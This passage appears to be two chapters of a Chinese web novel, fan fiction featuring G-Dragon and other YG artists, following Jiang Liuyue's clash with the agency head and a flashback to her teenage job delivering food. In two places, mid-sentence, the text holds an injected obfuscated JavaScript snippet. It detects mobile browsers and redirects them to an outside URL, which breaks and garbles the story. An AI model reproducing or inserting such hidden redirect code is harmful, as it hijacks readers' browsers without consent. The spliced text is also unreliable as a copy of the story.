会红,抹完之后他又长久的看着她,在江留月迷迷糊糊的伸出手的时候凑过去让她搂住他的脖子依偎进怀里。 “塔伊。” 权志龙轻声道。 我甜蜜的恋人,我可爱的妻子,我任性的孩子,我脆弱的蝴蝶,我冷漠的审判者。 “……嗯?” 江留月真的要睡着了,只是发出了迷迷糊糊的鼻音。 “你可以爱上别人。” 权志龙轻声道。 江留月听不清楚,只能发出模糊的声音作为应答。 权志龙也不在乎她是否能听到。 这不重要。 “如果我死在你的前面的话,塔伊。” “请一定爱上别人。” 这是我唯一容许的,你变心的方式。 “一定要幸福的度过你的一生啊,塔伊。” 19.badgirl 19.badgirl 南思风推门而入的时候,敏锐的感觉到了周围人对他态度的变化。 本来在一起窃窃私语的几个工作人员看到他来了之后立刻假装若无其事的散开,又悄悄地侧头瞄着他。 南思风胸口立刻涌出一股怨气,走路的脚步声都重了几分。 “……神气什么啊,能力差脸蛋差性格差的家伙……” 有人小声嘀咕道,然后又安静下来。 南思风的怨气实质化起来,他近乎面目狰狞的瞪着眼睛恶狠狠地扫视周围,被他目光波及的人赶紧假装忙活了起来。 南思风抿着嘴唇冲进了最里面的办公室,这里就安静许多,两张沙发一张长条桌,角落里拼了对坐的四个工作台,最边上一个戴着棒球帽的姑娘正在工作台那里敲打电脑。 南思风本以为是文恩彩,所以将手里的东西往桌子上一摔,就吐槽了起来:“这群狗崽子真是狗眼看人低,等到有机会的时候看 我怎么教训他们,对别人挑挑拣拣,自己难道是什么好货吗?!” “……” 对方没有回应他,而是抬起了头,南思风这才发现,对方是江留月从中国带过来的的化妆师阿苍。 阿苍性格冷漠孤僻,韩语也不太好,因此团队交流基本是用英语,刚来到这个团队的时候,南思风还想要跟她发展点什么,结果 被下了脸,南思风动不了江留月从中国带回来的人,从那之后两个人就是互不搭理的状态。 南思风骤然尴尬了起来,他清了清喉咙走过去想要找个话题转移一下对方的注意力,却看到阿苍正在整理的是一些造型设计图。 “……挺好看的,这是干嘛的。” “新专辑的造型草稿,拿过去给Alice挑选的。” 阿苍冷冰冰的用英语回答道。 她来韩国已经快要一年多的时间了,其实韩语交流已早不成问题,但她讨厌南思风,说完这句话,那边打印机就开始工作了,她 保存好图片,站起来开始收拾自己的随身挎包。 “新专辑?” 南思风本来压下去的火忽然又窜了起来:“真的?!Alice真的说要回归?这么大的事情为什么我不知道,要不是听到外联部那 些家伙们在聊物料的事情,我现在还什么都不知道呢!” 他的怒气中夹杂着心虚和慌乱,通常一个艺人发新专辑,那经纪人是最先开始忙碌的,要跑电视台去洽谈综艺排期,要找杂 志去洽谈封面宣传采访,还要联系熟悉的记者们喝茶…… 这次江留月大闹社长办公室说要出专辑的事情他也听说了,但那之后并没有人找过他安排工作,他便以为这只是个江留月一时冲 动的想法,根本无法落地,因此依然每天打着公司的名义在外面混吃混喝混应酬,冷不丁的听说江留月的专辑已经开始筹备物 料,他才惊出了一身的冷汗,意识到自己被排挤在了外卖你。 “你不知道吗?” 阿苍没有放过这个可以再捅一刀的机会,冷艳的容貌上浮现一丝真切的笑意: “我们可是都知道呢。” “什、什么……什么?!” 南思风愣了,赶紧追问道:“什么叫做你们都知道,除了你还有谁?载国哥吗?还是东烨那小子?恩彩呢,恩彩也知道吗?” 阿苍不愿和他再做纠缠,从上个月开始,江留月就召集他们开会讨论新专辑的事情了,是南思风自己出去逍遥快活不看工作聊天 室的消息不说,还对江留月要求他到公司开会的事情含糊其辞推三阻四,江留月见他不来,当下就做了决定,将他踢出了团队。 只不过YG公司尸位素餐的人太多,再加上南思风和几个室长是酒肉朋友,估计一直摁着江留月的调度意见没有往外说,才造成南 思风如此大的信息落差。 “你去找安室长聊聊吧,他会告诉你的。” 阿苍对南思风说道。 安室长在YG掌管人事变动,南思风稍微一动脑子就意识到大事不妙,但这会儿阿苍早就离开了办公室,他后背上爬满了冷汗,竟 不敢追出去问个究竟。 南思风的内心一直在告诉他,江留月不会轻易换掉他,怎么说他也是YG内推进来的人,推荐他的人是BB和江留月曾经的舞蹈老 师,江留月是最好说话拿捏的艺人,平时就算对自己有所不满,只要搬出来自己的旧交情,她大多时候也就叹口气作罢了。 “……不行,我得去找前辈问问到底怎么回事。” 南思风魂不守舍,掏出手机的手都在微微发抖,他迫切的需要知道一个答案。 这本是一个无足轻重的小人物。 即便是在曾经的世界里,南思风整容成了演员,也不过是轻飘飘就略过,在江留月的人生中留不下涟漪的人。 江留月作为一个独立艺人,对自己团队消极怠工的人进行开除处理,请公司再聘请或自己提供一个踏实肯干的经纪人,也是情理 之中的事情,很多事情之前推进不下去,完全是因为她不在乎这种小事儿,从没有计较过罢了。 江留月大抵也没想到,自己当时开会时随口处理掉的南思风,很快就会给自己带来一个天大的麻烦。 这会儿的她,正在会议室里和其他人一起商讨下周开始进行的家族演唱会的细节。 2014年,正是YG公司迈入转型期的一年,这一年,YG推出了大量的新人团体,不管男生女生,都曾在之后的数年中引起强烈的商 业反响,尽管绝大多数结局都不尽人意,但至少此时此刻,在人头济济的超大会议室里,江留月体会到了什么叫做“人丁兴 旺”。 人一多,牵扯到的事儿就会变多,一场演唱会满打满算30首歌曲,砍掉大合唱和反串时间,去掉BB和2NE1的部分,再匀给大前辈 回忆青春的舞台,人气台柱子的个人秀,还要预留新人歌手们的首秀、今年新签约的歌手们的认脸环节…… 江留月坐着的姿势从闲散的瘫着变成正襟危坐再到双手环胸脸色不善,也就过了区区一个小时罢了。 在场的人很多,她就紧挨着BB和2NE1坐着,背靠着她家的哥哥,旁边是CL和敏智,感知到她不爽的气息,敏智硬生生伸手将她环 胸的手臂掏出来一条抱在怀里,权志龙的位置都要贴到她后背了,权志龙的手还有一搭没一搭在扯她今天扎的小揪揪,权作安抚 她的情绪。 安抚是不可能安抚的。 毕竟本就只有两首自己的歌(还是串烧形式)+一个合唱+一个和2NE1一起反串BB的舞台,现在还想从她手里再掏走一个合作舞 台,简直就是欺人太甚。 杨贤硕自从她上次大闹天宫之后,倒是慈眉善目了很多,只是说话的时候在也不敢和她正面刚上眼神了,这会儿目光落在投影幕 布上,满脸的慈爱: “新人中好几个都表现的很不错,和bigbang的孩子们一起表演的话,应该能学到更多。” 他甩了甩手里的棒球帽,又补了一句: “Alice还是受委屈了。” 这放以前,江留月就真咽下了这份委屈。 但现在,她已经是钮祜禄塔伊了。 “我和永裴哥都已经发了预告了,这叫什么事儿?” 江留月首先开炮: “这些新人也不是今天才进公司的,之前第一次定名单的时候,谁来定的,这个时候总要负起责任来啊。” 大家沉默,大家寂静。 江留月则用充满了疑惑的真诚表情扫视全场:“谁定的第一批名单啊。” 角落里,不知道是谁,细声细气的说了一句。 “……是社长nin。” 哦。 “……您是老糊涂了吗?已经定好的东西为什么要改。” 江留月再次开炮。 权志龙低下头开始抠桌子,敏智吓得整个人都僵直了,CL吐了下舌头低下了头,会议室里拉椅子的声音与吸冷气的声音此起彼伏。 “不是要改,是调整,别听不懂话啊你这丫头。” 杨贤硕咬着牙发出声音。 他竟然没有立刻暴起? 众人愈发如坐针毡。 “那为什么调整我的,不要,我不喜欢,别动我的,去掉反串舞台我总时长加起来才不到13分钟这像话吗?” 江留月三次开炮,大家已经习惯了,露出了面如死灰又莫名期待的表情。 杨贤硕三次深呼吸。 “你不是在舞台上还要主持吗?加起来时间足够了。” 杨贤硕手里的棒球帽都要攥碎了。 “粉丝那么想你的话,应该跟粉丝多讲讲话的,嗯?我看这样就挺好。” 他话音落下之后,众人齐刷刷将目光移向江留月。 江留月白皙的小脸在投影仪的灯光下显得青白交替,有一种说不出的摄人。 她微微一笑:“我是歌手,我又不是主持人,我为什么要讲那么多话。” “我要唱歌,我要舞台,这才是粉丝想看的。” 众人深呼吸,又齐刷刷的看向杨贤硕。 被数次下了面子,杨贤硕显然很没有面子,他再也压不住自己的脾气,想要暴起大喊,却看到江留月伸手向桌子,握住了一个半 米高的保温壶。 她始终保留着中国人喝热水的习惯,那个保温壶众人皆知,一度是YG一道□□,因为听说对身体好,还让很多人跟风买了同款。 杨贤硕也是曾经的跟风人之一,买了同款的他非常清楚那个保温壶有多重,纯金属的壶身又有多么的坚硬,也亏得江留月那个手 腕子能单手把那么大个壶给拎过来。 他的眼前交错过自己办公室破碎的玻璃窗和四分五裂的暴力熊。 投影仪的灯光明灭,江留月转过身看向杨贤硕,她一只手紧紧地抓着自己的保温壶把手。 “社长nin,我要保留我的环节,可以吧。” “……行吧,就这样做吧。” 杨贤硕咽下一口冷气,只觉得胸口哽的呼吸不顺,他甚至挤不出笑容,只是干巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661187|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴的说道:“你得好好表现啊,这么长的时间给 了你,在座很多人的时间都比不上你,我们Alice,得整出点什么才行啊。” 江留月就像是没有感觉一样,“我一定会好好加油的,请一定期待我的表现哦。” 笑着说完之后,她对着记录的摄像头比了个心。 杨贤硕慢悠悠看向新人们:“孩子们也要学着点,想要什么还是要多争取的好。” 他不想被疯子盯上,索性为江留月拉点仇恨值,寄希望于这些人去找江留月麻烦或者江留月自己良心发现受不住他们的卖惨,最 终还是掏走点什么。 新人们自然对接下来第一个大型舞台有着非一般的热情和执着,闻言许多目光落在了江留月的身上,甚至有一些不善与嫉恨。 “啊。” 江留月被这些目光扫射,似乎觉出了什么:“这么说的话,我还有些不好意思,那么,我的主持环节就分给孩子们吧。” 她大大方方的对着新人们挥了挥手:“不用太感谢我,好好准备吧,只要站在舞台上,一言一行都是表演的一部分,这也是当艺 人的功课哟~fighiting~” 她对着新人们露出甜甜的笑容。 “我为各位加油~爱你们哦~” 江留月biubiubiu发射出许许多多的小爱心。 众人神色各异的转过头去,有无语的,有憋笑的,有叹气的,还有一边笑一边摇头的,也有若有所思的观察着她和杨贤硕之间这 非一般的氛围的。 “志龙跟我来一下。” 会议结束之后,杨贤硕冷冰冰的留下一句话转身就走。 江留月捧着自己的小水杯在喝水,权志龙从她身边走过,轻飘飘的用手指头勾了一下她的手背,然后就亦步亦趋的跟在了杨贤硕身后离开了。 随着杨贤硕和权志龙的离开,几个已经半转幕后的大前辈们也离开了,江留月他们倒是没怎么动,正因为刚才会议上确认的内容 在小声进行讨论,新人们则无缘参加这种讨论,被经纪人们领着离开了会议室。 周围的人在窃窃私语,江留月能听到自己的名字,她这样公然和社长叫板的行为,何止前所未有,简直石破天惊。 最令人惊讶的是杨贤硕竟然忍了。 江留月听到有人在说自己是不是抓住杨贤硕的小辫子了,一时之间觉得有些无语,掏出手机开始滑动。 她在等东永裴和其他人讨论完之后跟她核对合作舞台的事儿,闲着没事还在手机上翻阅了一下阿苍提交给她的服装首饰合作品 牌。 阿苍提到了南思风的事情,但对于此刻的江留月来说,这件事情不痛不痒。 她很快将这条信息抛之脑后。 2NE1分坐桌子两边,BOM和山达拉在和造型师说话,CL和敏智也不知道嘀嘀咕咕在干什么,还不赶紧去汇合。 江留月分出一个眼神扫过去,却看敏智和CL都用小心试探但压抑不住激动的眼神看着自己。 “……怎么了?” “……社长会不会因为……对志龙哥生气?你……不害怕了?你……” 敏智把‘是不是分手了’这句话咽回去,小心翼翼的问道。 这种场景之前上演过无数次,像是他们这种内部人员,知道过去无数次的退让,都是因为江留月有个“人质”在杨贤硕手里。 同样作为女性,她们不知道为江留月抱不平多少次,也曾经默默陪伴着她流过眼泪,但更多的时候,是同样无能为力的无力与挫 败感。 对于敏智来说,她还年轻,不太懂为什么“爱情”这个东西会成为枷锁,能让江留月不断忍受退让。 看到江留月受委屈的时候,她也曾经感同身受的为她流泪,甚至发出“那么委屈还不如分手”的暴言。 但过去,江留月永远都说着没关系,这让敏智觉得心痛的同时也常常为对方的恋爱脑感到无语。 当然,这一切都和今天的江留月没有关系。 敏智想,不管她的硬气是不是因为分手了,她都是志龙哥与Alice姐姐的好妹妹,做一对情侣的好妹妹还是做一个哥哥和一个姐 姐的好妹妹,本质上并无区别。 “没关系。” 江留月摇了摇头:“这是我的男朋友应该为我做的。” 敏智被她的发言震撼到,细长的双眼都瞪圆了。 CL在旁边发出“芜湖”的感叹声。 “怎么了,觉得我是个恶毒女人?” 江留月问道。 敏智摇了摇头,和旁边的CL一起,对着江留月比了个大拇指。 “太厉害了!” “我们要不然反串唱‘badboy’?”CL冷不丁的提议道:“因为我们现在已经成了比badboy更坏的badgirl了。” “……” 江留月和敏智都露出一言难尽的表情。 CL:“怎么了?不好笑吗?这是个笑话呀!” ……讲得很好。 下次别讲了。 20.似梦非梦(上) 19.似梦非梦(上) 权志龙起初,是不知道有这么一个人的。 练习生的日子在冬日里尤其变得难熬,腐朽的地板,不算好的供暖,四处漏风的房门和窗户,还有大汗淋漓之后从脊梁骨和头发丝里钻进去的冷意,等待公交时冻到麻木的双脚和难以蜷缩的手指。 冬日是不讨人喜欢的季节。 它通常只被作为春日的前奏。 在这样压抑的日子里,持续了整整六年的,日复一日的练习就像是中国饭店送来的一成不变的炸酱面和糖醋肉一样,只能填饱肚 子和时间,并不能再带来更多的成长。 这天的一切都格外糟糕,糟糕到肚子空空却依然没什么进食的想法,权志龙在吃饭时间决定溜到外面的小巷里抽根烟。 此时的他在韩国还未满20岁,一根香烟是玩地下说唱的哥哥们奖励给他的,权志龙此时抽的似懂非懂,只觉得这种呛人的辛辣会 将痛苦从灵魂抽离,改为铺满肺部和咽喉。 他有些惧怕又有些上瘾这种感觉,站在小巷的拐角将香烟点燃之后只是夹在手指间放空着。 也就是在这个时候,他看到斜对面的街口,走过来一个畏畏缩缩的身影。 瘦瘦的,目测不过一米六左右的个头,穿着过于宽大的棉服,费力的拎着一个很大的什么东西。 一开始,权志龙以为粉丝,于是赶紧将香烟丢掉踩灭,但很快,他看到了那个人拎着的是一个不锈钢饭箱。 “啊……西。” 意识到自己因为过度紧张而浪费了一支香烟,权志龙不由自主的发出一句不爽的声音。 【中国饭店换了人来送外卖,是个小孩子。】 他想起来了,一直订购炸酱面的中国饭店送货的外卖员换了。 东永裴聊起这个的契机,是因为这个外卖员格外仔细,从没有冒失的弄丢过小菜或者打翻过炸酱面和酱汁。 他们推测这个人是饭店老板的孩子在给家里帮忙,权志龙并不以为意,他家里曾经开过排骨店,在用餐高峰期他也是帮忙端过肉 点过碳火的。 “……看起来真小啊。” 权志龙想,看到那个人走到YG公司门口,伸手去按门铃。 外面确实很冷,他也打算回去了,于是快步走过去,在对方按门铃的时候直接刷了自己的门禁卡。 他自认为走路还有一些声响,但那个孩子就像是被踩到尾巴的猫一样吓了一跳,发出一声短促的尖叫之后丢下重重的饭箱一猫腰就躲开老远。 权志龙猝不及防被狠狠踩了一脚,然后不等他喊疼,那硕大的、坚固的、沉重的不锈钢饭箱再次给了他重重一击。 当天晚上,权志龙绝对喊出了自己的年度最高音。 等到东永裴出来的时候,他还痛的说不出话,抓着永裴弓着腰一个劲哆嗦。 东永裴大惊失色,伸手摸向他的要害:“你被人打了?!” “……” 权志龙坚定地用一只手抓住了东永裴的手远离自己的要害,然后往下放在那依然靠在自己膝盖上的不锈钢饭箱上。 伴随着东永裴的关心,那个孩子似乎才意识到自己闯祸了,赶紧跑过来,磕磕巴巴的说着:“对不起,对不起,没事吧……” “阿西……你死定了……” 权志龙靠着东永裴吸着气,抬起手,对着那孩子的脑袋啪的就是一下。 “你到底在干嘛!!!!” 如今回想起来,这种直接使用暴力的行为,不可取,但当时,只有十八岁的权志龙,暴躁、郁闷、饥饿、疼痛、烦躁和冤枉的情 绪涌上心头,让他想也不想的挥出了这一下。 他认为自己是没有用多大力气的。 但,看似瘦弱的他似乎忘记了自己的怪力气和和身高不符的宽大手掌。 只一下。 这个送外卖的小子,就被权志龙拍到了地上。 “……” 权志龙震惊,无语,荒谬。 “……你杀人了?” 东永裴震惊,惊恐,慌乱。 这注定是一个不平静的夜晚。 权志龙吓得腿也不瘸了,和东永裴一人拎着饭箱一人拖着晕乎乎的外卖员趁着动静没闹大之前缩进了练习室。 晕乎乎的外卖员抬起头,两行鼻血顺着鼻子和尖尖的下巴流下来,东永裴假装镇定的用手帕捂住对方的鼻子,其实颤抖的双手和 急促的呼吸都出卖了他。 “……” 权志龙僵硬的咽了口口水,干巴巴挤出来一句问候:“你还好吗?” 对方晕乎乎的点头。 看起来真小。 权志龙打量着对方,乱七八糟的头发遮住了小半张脸,露出来的部分都糊满了鲜血,看得他一阵又一阵的心虚。 “……对不起,但你先开始的,而且你……你比我小吧,小很多吧,我可是哥,是前辈,我就不跟你计较了。这次能当我们扯平 了吗?”权志龙清了清喉咙,厚着脸皮说道:“就当我们交个朋友,小孩(此处为韩语的guma,意思为小屁孩),你叫什么名 字?” 东永裴捂着小孩的鼻子,用震惊中带着荒谬的眼神瞥了他一眼。 权志龙心里头也直打鼓,生怕对方要闹起来。 小孩的鼻血总算止住了,伸出手自己捂着手帕,含含糊糊的回答道:“……de……Yi……” “deyi???” 权志龙没忍住吐槽了一句:“这是什么名字。” 看得出来对方情绪稳定且十分好说话,权志龙也松了口气:“去洗把脸吧,出去右拐有洗手间。” 小孩点了点头,自己摸索着出去了。 东永裴用一言难尽的表情看着权志龙。 权志龙心虚但大声:“怎么了,我的腿还痛得要死呢!” 过了一会儿,小外卖员回来了,“他”将洗干净的手帕还给东永裴,然后看了一眼已经被拿出来摆上的饭菜,有些犹豫的拿过饭 箱准备告辞:“那么,吃完之后碗筷放在外面就可以了。” 结账是公司直接定期去刷卡,因此也没什么可说的,但权志龙所剩不多的良心还是驱使他翻遍了自己的口袋,最后摸出了自己吃 剩下的半盒口香糖。 他将口香糖放到饭箱上。 “……给你吃。” 权志龙别别扭扭的说道:“对不起。” “……没关系。” 对方的口音有些奇怪,但很乖巧。 可惜权志龙很会找茬:“……你怎么不叫哥。” “……” 这下,很好脾气的小外卖员也不吱声了。 权志龙觉得有些丢人,于是硬着头皮凶巴巴道:“叫声’hyong’来听听。” 小外卖员怔了一下,然后抬起头,认真的看了权志龙三四秒。 “叫不叫?” 权志龙心虚的都快要红温了,挥了挥拳头。 “……hyong。” 小外卖员乖乖地叫了一声,声音有些沙哑,但很软。 这一声,将权志龙所剩不多的良心又给掏出来了,他狠了狠心,从自己的口袋里摸出一万块钱塞到了对方手里:“来,哥给你零 花钱,去买好吃的。” 小外卖员显然吓坏了,一个劲缩手,但权志龙的手如同铁钳一般抓着‘他’的手,硬是将一万块钱塞进了手心。 小外卖员显然很不想要这张烫手的纸钞,‘他’试图说些什么,但磕巴了一会儿又没说出什么,只是支支吾吾的:“我、我不 要……” “呀!!” 权志龙挑眉怒视:“还不拿了快走?!” 东永裴眼看竹马下不来台了,赶紧上来打圆场:“拿着吧,就当是医药费了,去买点棉球,别再流血了。” 小外卖员沉默了一下,最终选择收下了这笔钱,又鞠了一躬之后转身离开了。 这本是个插曲,权志龙应该很快会忘记,直到第二天,他们在放泡菜的盒子里发现了那折得整整齐齐的一万块。 权志龙不爽到了极点,他特意堵着对方来收碗的时候守在门口,当小外卖员老老实实的收纳好吃过的碗筷之后,忽然揪着对方的后脖领子往外走去。 对方显然很害怕,使出了吃奶得劲往后退,但权志龙的蛮力大的吓人,很快拖着人来到不远处的便利店。 “买。” 权志龙将人推进便利店,双手环胸,很不善的说道。 可怜的小孩手足无措,呼吸急促的戒备的看着他。 权志龙见‘他’不动,更不耐烦了,伸手拿起一个购物筐开始哐哐一顿买,买完了之后结账,一万多一点,他将一袋子吃的递给 对方。 “接着。” 对方直接一个大退步。 权志龙将最大号的塑料袋手环扯到最开,然后把袋子往小外卖员的脑袋上一挂,自己转身就走。 第三天。 “……?是煎饺啊!!!是煎饺!!!” 崔胜铉兴奋地如同得到香蕉的热带雨林猿猴,权志龙还没反应过来,他已经将饺子塞进嘴里,然后被烫的嘶哈嘶哈了。 “……哥。” “可是志龙,点煎饺的话,不是超标了嘛?哦,这里还有一份宫保鸡丁呢。”东永裴疑惑且惊讶,用一种‘你明天不过了吗’的 表情看着权志龙。 “阿西吧……我要杀了他。” 权志龙却恶狠狠的说道。 他饭都没吃几口,怨气十足的等着小外卖员来收碗筷,眼看对方的身影出现,直接捋起袖子,准备好好修理这个不尊敬哥哥的家 伙。(PS:韩国礼仪为前辈/长辈如果给零花钱的话必须接着,如果喝咖啡、饮品或者吃饭,在对方要求请客的情况下买单的话 是十分冒犯和不尊重的行为。) 小外卖员来了,‘他’似乎没有意识到危机的来临,走到跟前先鞠躬问好之后,慢吞吞的从口袋里拿出了一个黄澄澄的橘子。 “……?” 权志龙一口怒火即将喷发,猛然踩了一脚刹车,差点给自己呛咳嗽。 “这是给hyong的回礼,请好好享受。” 依然是奇怪的口音,奇怪的措辞,过于规整的敬语。 权志龙看到对方露出一个浅浅的笑。 他尴尬的咳嗽了一声,接过了橘子,硬邦邦的说:“我不喜欢吃酸的。” “对不起。” “……算了,我凑合吃吧。” 权志龙掰开橘子,在空气中迸开的酸甜的雾气中,不自在的说道:“煎饺和宫保鸡丁也吃了,回礼就到这里为止吧,怪贵的。” “……?” 小外卖员愣了一下。 ‘他’迟疑的吭哧了一下,然后结结巴巴说道:“是……公司的前辈买的,今天在那里聚餐,还没结束,让送外卖的时候给你们,额外加餐。” 这下,权志龙是真红温了。 他落荒而逃,足足一个礼拜都避开了对方。 直到在地下一个比赛里拿了奖,他才将奖杯放在了平时摆放碗筷的地方,神气十足的坐在了那。 “呀,看到奖杯了吗,是你哥拿的。” 权志龙得意的说道。 很明显,小外卖员看不懂这是什么奖杯,更甚至于,‘他’连对方的话都还不太能听得懂,但‘他’很会察言观色,于是点点头,很买账的哇了一声。 “吃不吃炒年糕,哥给你买,算是庆祝。” 权志龙挺高兴的,他的舌头在嘴里打了个转,到底是没吐出那个奇怪的名字:“呀,deyi,你的名字也太奇怪了,哥重新给你安 排一个怎么样,de……Yi……yyyy……deli怎么样?听起来是不是很像多比?呀你有时候就跟多比一模一样,就那么点大,瘦巴 巴的,你不吃饭吗?” 他伸手摸了摸对方的手臂,捏了捏,毫无肌肉。 小外卖员整个人都僵硬了,用一种难以言说的表情看着他,最终沉默的叹了口气,摇了摇头。 “不喜欢?怎么了,我觉得挺好的,啊,你不想当家养小精灵是吗,也是,小精灵也不会做炸酱面……啊,这样,你是‘送炸酱 面的deli’所以你就叫酱得利,怎么样?” “……” 对方露出呆呆地表情,看起来不是反对。 权志龙越想越满意,于是愉快的决定了:“行,就这样,你从今天开始就是酱得利了。” 他伸出手摸了摸对方的头发。 很细很软,塌塌的,看起来不是很干净,但权志龙心情很好,他没有嫌弃。 “酱得利,你今天开始就是我弟弟了,哥会对你好的。” 他拍了拍小外卖员的脑袋。 “你得多吃点饭,好好长大哦。” 小外卖员低着头,不知道在想什么。 这时候,嗦着面的崔胜铉一屁股坐在了旁边,一边吃一边对‘他’说:“别在意,小孩,这孩子脑子有点问题,不好意思,啊, 我是你的继兄,叫我胜铉哥就好。” “……” “啊,对了,酱得利,你要吃点吗,有个人回去了所以现在多了一碗,要不要在这里吃点?” 东永裴亲切的露出笑容。 ……所以已经是酱得利了嘛啊喂!?! 少年们想要变得熟悉起来是很快的,没多久,“酱得利”这个名字就传遍了公司,大家都知道这是权志龙最近喜欢的小弟弟,于 是不管是给办公室送炸酱面还是在店里面碰到来用餐的职员,大家都开始这样称呼了。 “……这听起来是不是不太好?” 就连一向只做生意的老板都觉得不太对劲,于是找到江留月私下说道:“这些韩国人是不是在欺负你啊?” 要说他是纯粹关心江留月,倒也不是,用极为廉价的工资雇佣了未成年本就是很冒风险的事情,老板可一点都不想再额外多出什 么麻烦事儿。 江留月摇了摇头:“没关系,他们没有恶意的。” 并非是deyi而是taryi,只是因为鼻子流血所以说话含糊,发展到现在这样也是江留月没想到的。 可这并没有什么不好,她本来也是特意给自己打扮的像是个男生来避免一些不必要的骚扰和麻烦,被当成男生,甚至被老主顾里 的客人当成弟弟一样照顾,她的日子会好过很多。 而且…… 因为对方没有丝毫的恶意,所以肢体接触的时候,只会觉得惊讶,并不会觉得紧张或者恐惧。 只是有些不习惯罢了。 ……忍一下好了。 “……hyong。” 江留月第N次将那毛茸茸的脑袋从自己的肩膀上推开。 虽说可以忍一忍,但这也太过分了啊喂!! 权志龙很不开心的从她的肩膀上起来,活动着自己的肩膀说到:“你骨头为什么那么硬,为什么没有肉。” “……” 看在对方将自己当成男生的份上,江留月深吸了一口气,忍了下来。 不到一个月的时间里,她已经和权志龙他们很熟悉了,出去上课的时间和打工的时间,她也会跑到这边来看他们练习。 这里的一切对她来说是那么的新奇,又似乎是一条新的出路。 谁也不能想到,住在高级公寓的她会因为不愿意和自己的生父相处被乔娜断了生活费所以只能靠打黑工来勉强填饱肚子,短时间 来看似乎能维持住,但并不是长久之计。 江留月在盘算自己新的出路,距离自己成年还有好几年的时间,她并不想在这样毫无技术含量的苦工里消磨自己的人生。 看着练习室里正在打闹的练习生们,她心中萌生出了一个想法。 当艺人,无疑是最快摆脱家庭的方式。 但……她并没有什么拿得出手的东西,除了一张好看的脸蛋之外,她只勉强系统学习过钢琴和交际舞,如今早就生疏了,在人才济济的练习生里,显然不够看。 尤其是,她是个女生,如果只有漂亮的脸蛋,在陌生的环境,完全不熟悉规则的小社会里,随时都可能被幕后的黑暗吞噬掉。 ……更不要说她现在话都说不流畅了。 江留月默默地攥紧了拳头,想法一旦产生,就像是一颗种子丢进了土壤,她不由自主的开始寻找可以吸收相关知识和学习能力的 土壤。 主要是,这土壤,他自己贴上来了。 权志龙真的太……臭屁了。 好不容易得了一个宝贝弟弟,还是个对他们的圈子一无所知的白纸,权志龙怎么都得好好树立自己伟大哥哥的光辉形象,不是展 示自己最新的曲子,就是时不时要和东永裴在练习室斗上一场,还真诚邀请江留月去看自己的表演,并在结束之后请她吃了一顿饭。 江留月安安静静的跟在权志龙身边,她看出来了,权志龙确实很喜欢她,这种喜欢是对小猫小狗的喜欢,是对年幼的需要照顾的 后辈的疼爱和关心,那种闲下来的时候抓住她一顿释放自己的兄长之爱,忙碌起来的时候招呼也来不及打的那种亲密又生疏的关 系。 一旦感觉自己有了新的选择,江留月就不太喜欢中餐馆的打工了,很累很脏不说,获取的酬劳也着实微薄。 她已经在考虑要不要卖掉一些乔娜的首饰来搞点资金了,之前不那么做,是因为怕被发现之后连公寓都没得住,现在如果能去当 练习生住宿舍,那公寓似乎又不那么重要了。 江留月在打着自己的小算盘,也许是太年幼了,只有十五岁的孩子,心事和想法总是在不经意之间从行为举止中表现出来。 “……那孩子好像很想当练习生,你怎么想呢。” 崔胜铉对权志龙说到:“如果你不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687720|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受的话,要不然就找人介绍到别的公司去,要不然你就跟他保持点距离吧。” “给人家看了希望,又把人丢下,是很残忍地事情,志龙。” 权志龙沉默了一会,才笑了笑: “练不练习生的……我又没有这个权力决定他的人生,而且,除了名字之外,我们不是什么都没看到吗?” 只知道是大约是从中国来的,也可能是脱北者(从朝鲜跑过来的),还在上语言学校,性格看起来很温和乖巧,但也不算很适合 当艺人的那种——权志龙想,这种小屁孩,要不然需要经历漫长的练习生生涯,要不然就需要一个前辈护在身边,不然分分钟就 会被嚼碎。 要说优点,面容还算清秀(?),虽然总是挡着大半张脸的低着头,但是能看出来皮肤白皙和姣好的脸型,说话的声音很软很 甜,但唱歌的声音和说话的声音又不同…… 不知不觉中,权志龙发现自己已经为了这个人操心烦恼好一阵了。 到底为什么放不下,是因为愧疚,还是因为实在是过得太惨了于心不忍? 权志龙很烦,连带着对江留月的态度也变得冷漠了一些。 江留月有所察觉,她并不知道自己做错了什么,但又舍不得这样放弃,只能尽量降低自己的存在感的同时偷偷在练习室外面观察 学习。 时间就这样不紧不慢的过了两周。 权志龙越来越烦这件事情,他发现自己像是沾上了一块甩不掉的橡皮糖,对方越是悄无声息的沉默着,他越是觉得对方碍眼。 又想当练习生又不肯说出口,有想法却不去做,也不想办法,窝窝囊囊的受着气的样子,看着就烦。 他终于忍不住了。 在一个已经冬季尾声的夜晚。 练习室今天只剩下权志龙,他跳舞的节拍越来越乱,最终停下,走过去啪的一下关掉了音响,然后唰的拉开了窗户。 练习室是个半地下,窗户有一半露在外面,江留月经常猫在那偷看,这一下被抓个正着。 她惊得呼吸都停顿了一下,呆呆的看着。 权志龙头发乱七八糟的翘着,尚且青涩的脸上却有着不容置喙的威严。 “滚进来。” 江留月不敢动,她感到对方可能会揍自己一顿,所以屏住呼吸想着溜走。 “酱得利。” 权志龙看出了她的犹豫。 他看着她。 冷冰冰的说道:“不要像老鼠一样缩在角落里。” “我再说一遍,滚进来。” 江留月圆润的滚进来了。 她拉开练习室的门,心情就和进父亲的书房一样,脚尖进来的时候,屁股和脊背都绷紧了,生怕下一秒就被踹一脚。 